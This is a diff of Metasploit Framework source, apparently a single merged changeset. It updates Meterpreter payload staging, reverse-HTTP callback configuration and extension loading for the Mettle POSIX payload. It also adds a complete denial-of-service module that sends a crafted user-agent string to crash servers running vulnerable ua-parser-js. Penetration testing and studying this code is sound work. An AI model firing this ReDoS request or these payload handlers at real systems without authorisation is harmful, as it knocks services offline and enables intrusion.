# https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53
|
||||
def dcerpc_getarch
|
||||
ret = nil
|
||||
|
||||
connect_timeout = (datastore['ConnectTimeout'] || 10).to_i
|
||||
read_timeout = (datastore['DCERPC::ReadTimeout'] || 10).to_i
|
||||
|
||||
pkt = Rex::Proto::DCERPC::Packet.make_bind(
|
||||
# Abstract Syntax: EPMv4 V3.0
|
||||
'e1af8308-5d1f-11c9-91a4-08002b14a0fa', '3.0',
|
||||
# Transfer Syntax[1]: 64bit NDR V1
|
||||
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
|
||||
).first
|
||||
|
||||
begin
|
||||
nsock = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => 135,
|
||||
'Proxies' => proxies,
|
||||
'Timeout' => connect_timeout,
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self
|
||||
}
|
||||
)
|
||||
rescue Rex::ConnectionError => e
|
||||
vprint_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
|
||||
nsock.put(pkt)
|
||||
|
||||
begin
|
||||
res = nsock.get_once(60, read_timeout)
|
||||
rescue EOFError
|
||||
vprint_error('DCE/RPC socket returned EOFError')
|
||||
return nil
|
||||
end
|
||||
|
||||
disconnect(nsock)
|
||||
|
||||
begin
|
||||
resp = Rex::Proto::DCERPC::Response.new(res)
|
||||
rescue Rex::Proto::DCERPC::Exceptions::InvalidPacket => e
|
||||
vprint_error(e.to_s)
|
||||
return nil
|
||||
end
|
||||
|
||||
# Ack result: Acceptance (0)
|
||||
if resp.ack_result.first == 0
|
||||
ret = ARCH_X64
|
||||
end
|
||||
# Ack result: Provider rejection (2)
|
||||
# Ack reason: Proposed transfer syntaxes not supported (2)
|
||||
if resp.ack_result.first == 2 && resp.ack_reason.first == 2
|
||||
ret = ARCH_X86
|
||||
end
|
||||
|
||||
ret
|
||||
end
|
||||
|
||||
# Convert a standard ASCII string to 16-bit Unicode
|
||||
def unicode(str)
|
||||
Rex::Text.to_unicode(str)
|
||||
|
@ -339,6 +339,13 @@ protected
|
||||
|
||||
self.pending_connections += 1
|
||||
|
||||
resp.body = ''
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Process the requested resource.
|
||||
case info[:mode]
|
||||
when :init_connect
|
||||
@ -354,59 +361,27 @@ protected
|
||||
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
|
||||
resp.body = pkt.to_r
|
||||
|
||||
when :init_python, :init_native, :init_java
|
||||
when :init_python, :init_native, :init_java, :connect
|
||||
# TODO: at some point we may normalise these three cases into just :init
|
||||
url = payload_uri(req) + conn_id + '/'
|
||||
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
uri = URI(payload_uri(req) + conn_id)
|
||||
if info[:mode] == :connect
|
||||
print_status("Attaching orphaned/stageless session...")
|
||||
else
|
||||
begin
|
||||
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
|
||||
# TODO: does this have to happen just for windows, or can we set it for all?
|
||||
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
|
||||
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||
|
||||
begin
|
||||
blob = self.generate_stage(
|
||||
url: url,
|
||||
uuid: uuid,
|
||||
uri: conn_id
|
||||
)
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
resp.body = blob
|
||||
|
||||
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
|
||||
|
||||
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
|
||||
|
||||
resp.body = blob
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
||||
:retry_total => datastore['SessionRetryTotal'].to_i,
|
||||
:retry_wait => datastore['SessionRetryWait'].to_i,
|
||||
:ssl => ssl?,
|
||||
:payload_uuid => uuid
|
||||
})
|
||||
rescue NoMethodError
|
||||
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
|
||||
return
|
||||
rescue NoMethodError
|
||||
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
when :connect
|
||||
print_status("Attaching orphaned/stageless session...")
|
||||
|
||||
resp.body = ''
|
||||
|
||||
url = payload_uri(req) + conn_id
|
||||
url << '/' unless url[-1] == '/'
|
||||
|
||||
# Damn you, python! Ruining my perfect world!
|
||||
url += "\x00" unless uuid.arch == ARCH_PYTHON
|
||||
|
||||
# Short-circuit the payload's handle_connection processing for create_session
|
||||
create_session(cli, {
|
||||
:passive_dispatcher => self.service,
|
||||
:conn_id => conn_id,
|
||||
@ -423,8 +398,6 @@ protected
|
||||
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
|
||||
print_status("Unknown request to #{request_summary}")
|
||||
end
|
||||
resp.code = 200
|
||||
resp.message = 'OK'
|
||||
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
||||
self.pending_connections -= 1
|
||||
end
|
||||
@ -436,6 +409,5 @@ protected
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
@ -1,6 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/transport_config'
|
||||
require 'msf/base/sessions/meterpreter_options'
|
||||
require 'msf/core/payload/uuid/options'
|
||||
|
||||
@ -16,6 +17,7 @@ module Payload::Python::MeterpreterLoader
|
||||
|
||||
include Msf::Payload::Python
|
||||
include Msf::Payload::UUID::Options
|
||||
include Msf::Payload::TransportConfig
|
||||
include Msf::Sessions::MeterpreterOptions
|
||||
|
||||
def initialize(info = {})
|
||||
@ -106,17 +108,12 @@ module Payload::Python::MeterpreterLoader
|
||||
# so we need to generate it
|
||||
# TODO: move this to somewhere more common so that it can be used across payload types
|
||||
unless opts[:url].to_s == ''
|
||||
|
||||
# Build the callback URL (TODO: share this logic with TransportConfig
|
||||
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
|
||||
callback_url = [
|
||||
opts[:url].to_s.split(':')[0],
|
||||
'://',
|
||||
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
|
||||
':',
|
||||
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
|
||||
ds['LURI'].to_s,
|
||||
uri,
|
||||
'/'
|
||||
].join('')
|
||||
opts[:scheme] ||= opts[:url].to_s.split(':')[0]
|
||||
scheme, lhost, lport = transport_uri_components(opts)
|
||||
callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/"
|
||||
|
||||
# patch in the various payload related configuration
|
||||
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
|
||||
|
@ -36,13 +36,26 @@ module Msf::Payload::TransportConfig
|
||||
|
||||
def transport_config_reverse_https(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:scheme] ||= 'https'
|
||||
config = transport_config_reverse_http(opts)
|
||||
config[:scheme] = ds['OverrideScheme'] || 'https'
|
||||
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
|
||||
ds['HandlerSSLCert'])
|
||||
config
|
||||
end
|
||||
|
||||
def transport_uri_components(opts={})
|
||||
ds = opts[:datastore] || datastore
|
||||
scheme = opts[:scheme]
|
||||
lhost = ds['LHOST']
|
||||
lport = ds['LPORT']
|
||||
if ds['OverrideRequestHost']
|
||||
scheme = ds['OverrideScheme'] || scheme
|
||||
lhost = ds['OverrideLHOST'] || lhost
|
||||
lport = ds['OverrideLPORT'] || lport
|
||||
end
|
||||
[scheme, lhost, lport]
|
||||
end
|
||||
|
||||
def transport_config_reverse_http(opts={})
|
||||
# most cases we'll have a URI already, but in case we don't
|
||||
# we should ask for a connect to happen given that this is
|
||||
@ -55,10 +68,13 @@ module Msf::Payload::TransportConfig
|
||||
end
|
||||
|
||||
ds = opts[:datastore] || datastore
|
||||
opts[:scheme] ||= 'http'
|
||||
scheme, lhost, lport = transport_uri_components(opts)
|
||||
|
||||
{
|
||||
scheme: ds['OverrideScheme'] || 'http',
|
||||
lhost: opts[:lhost] || ds['LHOST'],
|
||||
lport: (opts[:lport] || ds['LPORT']).to_i,
|
||||
scheme: scheme,
|
||||
lhost: lhost,
|
||||
lport: lport.to_i,
|
||||
uri: uri,
|
||||
ua: ds['HttpUserAgent'],
|
||||
proxy_host: ds['HttpProxyHost'],
|
||||
|
@ -128,7 +128,7 @@ module Payload::Windows::ReverseHttp
|
||||
# Generate the URI for the initial stager
|
||||
#
|
||||
def generate_small_uri
|
||||
generate_uri_uuid_mode(:init_native, 5)
|
||||
generate_uri_uuid_mode(:init_native, 30)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -92,7 +92,7 @@ module Msf
|
||||
end
|
||||
|
||||
print_status("Launching #{editor} #{path}")
|
||||
system(editor, path)
|
||||
system(*editor.split, path)
|
||||
|
||||
# XXX: This will try to reload *any* .rb and break on modules
|
||||
if args.length > 0 && path.end_with?('.rb')
|
||||
|
@ -414,11 +414,11 @@ class Console::CommandDispatcher::Core
|
||||
if !words[1] || !words[1].match(/^\//)
|
||||
begin
|
||||
if msf_loaded?
|
||||
tabs << tab_complete_postmods
|
||||
tabs = tab_complete_postmods
|
||||
end
|
||||
[ # We can just use Meterpreters script path
|
||||
::Msf::Sessions::Meterpreter.script_base,
|
||||
::Msf::Sessions::Meterpreter.user_script_base
|
||||
::Msf::Sessions::HWBridge.script_base,
|
||||
::Msf::Sessions::HWBridge.user_script_base
|
||||
].each do |dir|
|
||||
next unless ::File.exist? dir
|
||||
tabs += ::Dir.new(dir).find_all { |e|
|
||||
|
@ -195,6 +195,10 @@ class ClientCore < Extension
|
||||
# LibraryFilePath
|
||||
# The path to the library that is to be loaded
|
||||
#
|
||||
# LibraryFileImage
|
||||
# Binary object containing the library to be loaded
|
||||
# (can be used instead of LibraryFilePath)
|
||||
#
|
||||
# TargetFilePath
|
||||
# The target library path when uploading
|
||||
#
|
||||
@ -210,12 +214,13 @@ class ClientCore < Extension
|
||||
#
|
||||
def load_library(opts)
|
||||
library_path = opts['LibraryFilePath']
|
||||
library_image = opts['LibraryFileImage']
|
||||
target_path = opts['TargetFilePath']
|
||||
load_flags = LOAD_LIBRARY_FLAG_LOCAL
|
||||
|
||||
# No library path, no cookie.
|
||||
if library_path.nil?
|
||||
raise ArgumentError, 'No library file path was supplied', caller
|
||||
if library_path.nil? && library_image.nil?
|
||||
raise ArgumentError, 'No library file path or image was supplied', caller
|
||||
end
|
||||
|
||||
# Set up the proper loading flags
|
||||
@ -234,14 +239,17 @@ class ClientCore < Extension
|
||||
|
||||
# If we must upload the library, do so now
|
||||
if (load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL
|
||||
image = ''
|
||||
if library_image.nil?
|
||||
# Caller did not provide the image, load it from the path
|
||||
library_image = ''
|
||||
|
||||
::File.open(library_path, 'rb') { |f|
|
||||
image = f.read
|
||||
}
|
||||
::File.open(library_path, 'rb') { |f|
|
||||
library_image = f.read
|
||||
}
|
||||
end
|
||||
|
||||
if image
|
||||
request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
|
||||
if library_image
|
||||
request.add_tlv(TLV_TYPE_DATA, library_image, false, client.capabilities[:zlib])
|
||||
else
|
||||
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
|
||||
end
|
||||
@ -250,8 +258,17 @@ class ClientCore < Extension
|
||||
# path of the local and target so that it gets loaded with a random
|
||||
# name
|
||||
if opts['Extension']
|
||||
library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
|
||||
target_path = library_path
|
||||
if client.binary_suffix and client.binary_suffix.size > 1
|
||||
m = /(.*)\.(.*)/.match(library_path)
|
||||
suffix = $2
|
||||
elsif client.binary_suffix.size == 1
|
||||
suffix = client.binary_suffix[0]
|
||||
else
|
||||
suffix = client.binary_suffix
|
||||
end
|
||||
|
||||
library_path = "ext#{rand(1000000)}.#{suffix}"
|
||||
target_path = "/tmp/#{library_path}"
|
||||
end
|
||||
end
|
||||
|
||||
@ -297,6 +314,22 @@ class ClientCore < Extension
|
||||
raise RuntimeError, "No modules were specified", caller
|
||||
end
|
||||
|
||||
modnameprovided = mod
|
||||
suffix = nil
|
||||
if not client.binary_suffix
|
||||
suffix = ''
|
||||
elsif client.binary_suffix.size > 1
|
||||
client.binary_suffix.each { |s|
|
||||
if (mod =~ /(.*)\.#{s}/ )
|
||||
mod = $1
|
||||
suffix = s
|
||||
break
|
||||
end
|
||||
}
|
||||
else
|
||||
suffix = client.binary_suffix.first
|
||||
end
|
||||
|
||||
# Query the remote instance to see if commands for the extension are
|
||||
# already loaded
|
||||
commands = get_loaded_extension_commands(mod.downcase)
|
||||
@ -304,22 +337,31 @@ class ClientCore < Extension
|
||||
# if there are existing commands for the given extension, then we can use
|
||||
# what's already there
|
||||
unless commands.length > 0
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
|
||||
image = nil
|
||||
path = nil
|
||||
# If client.sys isn't setup, it's a Windows meterpreter
|
||||
if client.respond_to?(:sys) && !client.sys.config.sysinfo['BuildTuple'].blank?
|
||||
# Query the payload gem directly for the extension image
|
||||
image = MetasploitPayloads::Mettle.load_extension(client.sys.config.sysinfo['BuildTuple'], mod.downcase, suffix)
|
||||
else
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
modname = "ext_server_#{mod.downcase}"
|
||||
path = MetasploitPayloads.meterpreter_path(modname, suffix)
|
||||
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
if opts['ExtensionPath']
|
||||
path = ::File.expand_path(opts['ExtensionPath'])
|
||||
end
|
||||
end
|
||||
|
||||
if path.nil?
|
||||
raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
|
||||
if path.nil? and image.nil?
|
||||
raise RuntimeError, "No module of the name #{modnameprovided} found", caller
|
||||
end
|
||||
|
||||
# Load the extension DLL
|
||||
commands = load_library(
|
||||
'LibraryFilePath' => path,
|
||||
'LibraryFileImage' => image,
|
||||
'UploadLibrary' => true,
|
||||
'Extension' => true,
|
||||
'SaveToDisk' => opts['LoadFromDisk'])
|
||||
|
@ -45,9 +45,19 @@ class Priv < Extension
|
||||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
elevator_path = MetasploitPayloads.meterpreter_path('elevator', client.binary_suffix)
|
||||
elevator_path = nil
|
||||
client.binary_suffix.each { |s|
|
||||
elevator_path = MetasploitPayloads.meterpreter_path('elevator', s)
|
||||
if !elevator_path.nil?
|
||||
break
|
||||
end
|
||||
}
|
||||
if elevator_path.nil?
|
||||
raise RuntimeError, "elevator.#{binary_suffix} not found", caller
|
||||
elevators = ""
|
||||
client.binary_suffix.each { |s|
|
||||
elevators << "elevator.#{s}, "
|
||||
}
|
||||
raise RuntimeError, "#{elevators.chomp(', ')} not found", caller
|
||||
end
|
||||
|
||||
elevator_data = ""
|
||||
|
@ -39,7 +39,13 @@ class Sniffer < Extension
|
||||
response.each(TLV_TYPE_SNIFFER_INTERFACES) { |p|
|
||||
vals = p.tlvs.map{|x| x.value }
|
||||
iface = { }
|
||||
ikeys = %W{idx name description type mtu wireless usable dhcp}
|
||||
if vals.length == 8
|
||||
# Windows
|
||||
ikeys = %W{idx name description type mtu wireless usable dhcp}
|
||||
else
|
||||
# Mettle
|
||||
ikeys = %W{idx name description usable}
|
||||
end
|
||||
ikeys.each_index { |i| iface[ikeys[i]] = vals[i] }
|
||||
ifaces << iface
|
||||
}
|
||||
|
@ -53,14 +53,14 @@ module LibraryHelper
|
||||
|
||||
# converts ruby string to zero-terminated WCHAR string
|
||||
def str_to_uni_z(str)
|
||||
enc = str.unpack("C*").pack("v*")
|
||||
enc = str.encode('UTF-16LE').force_encoding('binary')
|
||||
enc += "\x00\x00"
|
||||
return enc
|
||||
end
|
||||
|
||||
# converts 0-terminated UTF16 to ruby string
|
||||
def uniz_to_str(uniz)
|
||||
uniz.unpack("v*").pack("C*").unpack("A*")[0]
|
||||
uniz.force_encoding('UTF-16LE').encode('UTF-8')
|
||||
end
|
||||
|
||||
# parses a number param and returns the value
|
||||
|
@ -122,6 +122,7 @@ class Config
|
||||
'Computer' => response.get_tlv_value(TLV_TYPE_COMPUTER_NAME),
|
||||
'OS' => response.get_tlv_value(TLV_TYPE_OS_NAME),
|
||||
'Architecture' => response.get_tlv_value(TLV_TYPE_ARCHITECTURE),
|
||||
'BuildTuple' => response.get_tlv_value(TLV_TYPE_BUILD_TUPLE),
|
||||
'System Language' => response.get_tlv_value(TLV_TYPE_LANG_SYSTEM),
|
||||
'Domain' => response.get_tlv_value(TLV_TYPE_DOMAIN),
|
||||
'Logged On Users' => response.get_tlv_value(TLV_TYPE_LOGGED_ON_USER_COUNT)
|
||||
|
@ -130,6 +130,7 @@ TLV_TYPE_SID = TLV_META_TYPE_STRING | 1045
|
||||
TLV_TYPE_DOMAIN = TLV_META_TYPE_STRING | 1046
|
||||
TLV_TYPE_LOGGED_ON_USER_COUNT = TLV_META_TYPE_UINT | 1047
|
||||
TLV_TYPE_LOCAL_DATETIME = TLV_META_TYPE_STRING | 1048
|
||||
TLV_TYPE_BUILD_TUPLE = TLV_META_TYPE_STRING | 1049
|
||||
|
||||
# Environment
|
||||
TLV_TYPE_ENV_VARIABLE = TLV_META_TYPE_STRING | 1100
|
||||
|
@ -1147,14 +1147,27 @@ class Console::CommandDispatcher::Core
|
||||
case opt
|
||||
when '-l'
|
||||
exts = SortedSet.new
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
exts.add($1)
|
||||
end
|
||||
}
|
||||
if !client.sys.config.sysinfo['BuildTuple'].blank?
|
||||
# Use API to get list of extensions from the gem
|
||||
exts.merge(MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']))
|
||||
else
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)))
|
||||
client.binary_suffix.each { |s|
|
||||
if (f =~ /ext_server_(.*)\.#{s}/ )
|
||||
if (client.binary_suffix.size > 1)
|
||||
exts.add($1 + ".#{s}")
|
||||
else
|
||||
exts.add($1)
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
print(exts.to_a.join("\n") + "\n")
|
||||
|
||||
@ -1168,7 +1181,16 @@ class Console::CommandDispatcher::Core
|
||||
# Load each of the modules
|
||||
args.each { |m|
|
||||
md = m.downcase
|
||||
modulenameprovided = md
|
||||
|
||||
if client.binary_suffix and client.binary_suffix.size > 1
|
||||
client.binary_suffix.each { |s|
|
||||
if (md =~ /(.*)\.#{s}/ )
|
||||
md = $1
|
||||
break
|
||||
end
|
||||
}
|
||||
end
|
||||
if (extensions.include?(md))
|
||||
print_error("The '#{md}' extension has already been loaded.")
|
||||
next
|
||||
@ -1178,7 +1200,7 @@ class Console::CommandDispatcher::Core
|
||||
|
||||
begin
|
||||
# Use the remote side, then load the client-side
|
||||
if (client.core.use(md) == true)
|
||||
if (client.core.use(modulenameprovided) == true)
|
||||
add_extension_client(md)
|
||||
end
|
||||
rescue
|
||||
@ -1195,16 +1217,31 @@ class Console::CommandDispatcher::Core
|
||||
|
||||
def cmd_load_tabs(str, words)
|
||||
tabs = SortedSet.new
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
if (not extensions.include?($1))
|
||||
tabs.add($1)
|
||||
if !client.sys.config.sysinfo['BuildTuple'].blank?
|
||||
# Use API to get list of extensions from the gem
|
||||
MetasploitPayloads::Mettle.available_extensions(client.sys.config.sysinfo['BuildTuple']).each { |f|
|
||||
if !extensions.include?(f.split('.').first)
|
||||
tabs.add(f)
|
||||
end
|
||||
}
|
||||
else
|
||||
msf_path = MetasploitPayloads.msf_meterpreter_dir
|
||||
gem_path = MetasploitPayloads.local_meterpreter_dir
|
||||
[msf_path, gem_path].each do |path|
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)))
|
||||
client.binary_suffix.each { |s|
|
||||
if (f =~ /ext_server_(.*)\.#{s}/ )
|
||||
if (client.binary_suffix.size > 1 && !extensions.include?($1 + ".#{s}"))
|
||||
tabs.add($1 + ".#{s}")
|
||||
elsif (!extensions.include?($1))
|
||||
tabs.add($1)
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
}
|
||||
end
|
||||
return tabs.to_a
|
||||
end
|
||||
|
@ -27,7 +27,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
|
||||
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
|
||||
"clipboard_monitor_dump" => "Dump all captured clipboard content",
|
||||
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
|
||||
"clipboard_monitor_purge" => "Delete all captured clipboard content without dumping it",
|
||||
"clipboard_monitor_stop" => "Stop the clipboard monitor"
|
||||
}
|
||||
reqs = {
|
||||
|
@ -28,14 +28,26 @@ class Console::CommandDispatcher::Sniffer
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
#all = {
|
||||
{
|
||||
"sniffer_interfaces" => "Enumerate all sniffable network interfaces",
|
||||
"sniffer_start" => "Start packet capture on a specific interface",
|
||||
"sniffer_stop" => "Stop packet capture on a specific interface",
|
||||
"sniffer_stats" => "View statistics of an active capture",
|
||||
"sniffer_dump" => "Retrieve captured packet data to PCAP file",
|
||||
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them",
|
||||
"sniffer_release" => "Free captured packets on a specific interface instead of downloading them"
|
||||
}
|
||||
|
||||
#reqs = {
|
||||
# "sniffer_interfaces" => ['sniffer_interfaces'],
|
||||
# "sniffer_start" => ['sniffer_capture_start'],
|
||||
# "sniffer_stop" => ['sniffer_capture_stop'],
|
||||
# "sniffer_stats" => ['sniffer_capture_stats'],
|
||||
# "sniffer_dump" => ['sniffer_capture_dump'],
|
||||
# "sniffer_release" => ['sniffer_capture_release']
|
||||
#}
|
||||
|
||||
#filter_commands(all, reqs)
|
||||
end
|
||||
|
||||
|
||||
@ -46,10 +58,18 @@ class Console::CommandDispatcher::Sniffer
|
||||
print_line()
|
||||
|
||||
ifaces.each do |i|
|
||||
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
|
||||
i['idx'], i['description'],
|
||||
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
|
||||
)
|
||||
if i.length == 8
|
||||
# Windows
|
||||
print_line(sprintf("%d - '%s' ( type:%d mtu:%d usable:%s dhcp:%s wifi:%s )",
|
||||
i['idx'], i['description'],
|
||||
i['type'], i['mtu'], i['usable'], i['dhcp'], i['wireless'])
|
||||
)
|
||||
else
|
||||
# Mettle
|
||||
print_line(sprintf("%d - '%s' ( usable:%s )",
|
||||
i['idx'], i['description'], i['usable'])
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
print_line()
|
||||
@ -167,10 +187,10 @@ class Console::CommandDispatcher::Sniffer
|
||||
# TODO: reorder packets based on the ID (only an issue if the buffer wraps)
|
||||
while(true)
|
||||
buf = od.read(20)
|
||||
break if not buf
|
||||
break unless buf
|
||||
|
||||
idh,idl,thi,tlo,len = buf.unpack('N5')
|
||||
break if not len
|
||||
break unless len
|
||||
if(len > 10000)
|
||||
print_error("Corrupted packet data (length:#{len})")
|
||||
break
|
||||
|
@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.19'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.3.20'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.8'
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.2'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
@ -125,7 +125,6 @@ Gem::Specification.new do |spec|
|
||||
spec.add_runtime_dependency 'dnsruby'
|
||||
spec.add_runtime_dependency 'net-ssh'
|
||||
spec.add_runtime_dependency 'rbnacl', ['< 5.0.0']
|
||||
spec.add_runtime_dependency 'rbnacl-libsodium'
|
||||
spec.add_runtime_dependency 'bcrypt_pbkdf'
|
||||
spec.add_runtime_dependency 'ruby_smb'
|
||||
|
||||
|
113
modules/auxiliary/dos/http/ua_parser_js_redos.rb
Normal file
113
modules/auxiliary/dos/http/ua_parser_js_redos.rb
Normal file
@ -0,0 +1,113 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Dos
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'ua-parser-js npm module ReDoS',
|
||||
'Description' => %q{
|
||||
This module exploits a Regular Expression Denial of Service vulnerability
|
||||
in the npm module "ua-parser-js". Server-side applications that use
|
||||
"ua-parser-js" for parsing the browser user-agent string will be vulnerable
|
||||
if they call the "getOS" or "getResult" functions. This vulnerability was
|
||||
fixed as of version 0.7.16.
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
|
||||
['CWE', '400'],
|
||||
],
|
||||
'Author' =>
|
||||
[
|
||||
'Ryan Knell, Sonatype Security Research',
|
||||
'Nick Starke, Sonatype Security Research',
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(80)
|
||||
])
|
||||
end
|
||||
|
||||
def run
|
||||
unless test_service
|
||||
fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
|
||||
else
|
||||
trigger_redos
|
||||
test_service_unresponsive
|
||||
end
|
||||
end
|
||||
|
||||
def trigger_redos
|
||||
begin
|
||||
print_status("Sending ReDoS request to #{peer}.")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/',
|
||||
'method' => 'GET',
|
||||
'headers' => {
|
||||
'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
|
||||
}
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_status("No response received from #{peer}, service is most likely unresponsive.")
|
||||
else
|
||||
fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error("Unable to connect to #{peer}.")
|
||||
rescue ::Timeout::Error
|
||||
print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
|
||||
end
|
||||
end
|
||||
|
||||
def test_service_unresponsive
|
||||
begin
|
||||
print_status('Testing for service unresponsiveness.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res.nil?
|
||||
print_good('Service not responding.')
|
||||
else
|
||||
print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
print_error('An unknown error occurred.')
|
||||
rescue ::Timeout::Error
|
||||
print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
|
||||
end
|
||||
end
|
||||
|
||||
def test_service
|
||||
begin
|
||||
print_status('Testing Service to make sure it is working.')
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/' + Rex::Text.rand_text_alpha(8),
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if !res.nil? && (res.code == 200 || res.code == 404)
|
||||
print_status('Test request successful, attempting to send payload')
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
rescue ::Rex::ConnectionRefused
|
||||
